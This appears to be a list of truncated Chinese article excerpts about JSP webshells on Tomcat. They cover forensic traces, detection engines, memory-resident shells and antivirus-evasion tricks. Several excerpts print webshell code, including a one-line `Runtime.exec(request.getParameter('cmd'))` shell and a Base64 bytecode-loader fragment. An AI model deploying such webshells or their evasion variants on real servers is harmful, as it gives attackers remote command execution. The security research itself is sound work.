首先本地搭建一个tomcat,模拟攻击者行为,上传一个jsp的webshell。 接下来模拟攻击者行为,把log111.jsp文件删除掉,那么怎么找到这个shell遗留的蛛丝马迹呢? 查看tomcat中间件的\work\Catalina\localhost_\org\apache\jsp 目录,仍然是可以发现这个shell的编译过程中产生的几个文件的,这3个文件攻击者一般不会删除,也不...
一般而言JSP的变形免杀较为困难,但是依旧存在很多的”黑魔法”。 不知攻,焉知防。阿里云安骑士Webshell检测系统在迭代升级过程中,除了内部的不断绕过尝试以外,也长期邀请大量白帽子进行持续的绕过测试。经过不断总结沉淀在JSP Webshell查杀引擎方面我们形成了基于字节码跟反汇编代码的检测方式,可以有效对抗云上高强度对抗性...
jsp类型webshell数据传入、回显两个部分都是很正常的代码,一般程序中都会使用,不会触发检测规则。所以需要重点关注杀毒软件对执行这个部分的检测免杀将以上三个部分拼接出来就是正常的通过类反射执行的回显webshell:<%@ page contentType="text/html;charset=UTF-8" language="java" %> <%@ page import="java.lang...
通常在代码中加载字节码的过程会进行Base64编码。于是具体的代码中使用Base64解码后,转为类对象,手动触发该类的构造方法即可实现Webshell的功能。 Stringcmd=request.getParameter("cmd");ClassLoaderloader=newClassLoader() {...}; Class<?> clazz = loader.loadClass("ByteCodeEvil"); Constructor<?> constructo...
于是我尝试自己做一个JSP Webshell的检测工具,主要原理是ASM做字节码分析并模拟执行,分析栈帧(JVM Stack Frame)得到结果 只输入一个JSP文件即可进行这一系列的分析,大致需要以下四步 解析输入的JSP文件转成Java代码文件 使用ToolProvider获得JavaCompiler动态编译Java代码 ...
继上一篇讨论了JSP的各种表达式和反射方法后,这篇我们继续深入我们的讨论,开始JSP Webshell的下半篇的讨论。 内存马篇 内存马主要利用了Tomcat的部分组件会在内存中长期驻留的特性,只要将我们的恶意组件注入其中,就可以一直生效,直到容器重启。 本部分主要讲一讲三种Tomcat内存Webshell。
jsp新webshell的探索之旅 题外话 最近更新了新的博客关于本人一些有趣的java的研究会优先更新到新博客(http://y4tacker.github.io/) 简介 这篇文章记录了我从一个小发现到实现RCE,为了实现更短的webshell,在这之间遇到了一些的新问题到解决,再到最终精简得到一个新的jsp五行Payload构成的webshell的过程 ...
在经过java基础学习之后,尝试对java命令执行的webshell进行免杀处理。 命令执行 在之前的 Java 命令执行 中学习了执行系统命令的几个类。 这次我们还是以经典的Runtime类来测试。 <%@ page language="java" contentType="text/html;charset=UTF-8" pageEncoding="UTF-8"%> <%@ page import="java.io.*"%> ...
这⾥⾯xml属性的encoding也可以决定整个⽂件的编码内容,同时我们可以发现这个encoding可以覆盖掉上⼀步的函数 createInitialReader();(通过前四字节识别出的编码识别的encoding),因此配合这个我们也可以构造出⼀种新的双编码jspwebshell,最后会提到。 ⽆法根据前四个字节判断⽂本编码怎么办 当⽆法根据前四...
首先从一句话角度来做,给出JSP的一句话 这个Webshell是会直接被Windows Defender杀的,百度WEBDIR+也会杀 <% Runtime.getRuntime().exec(request.getParameter("cmd")); %> 尝试拆开一句话,再加入回显和消除乱码,得到这样的代码 <%@ page language="java" pageEncoding="UTF-8" %><%Runtime rt = Runtime...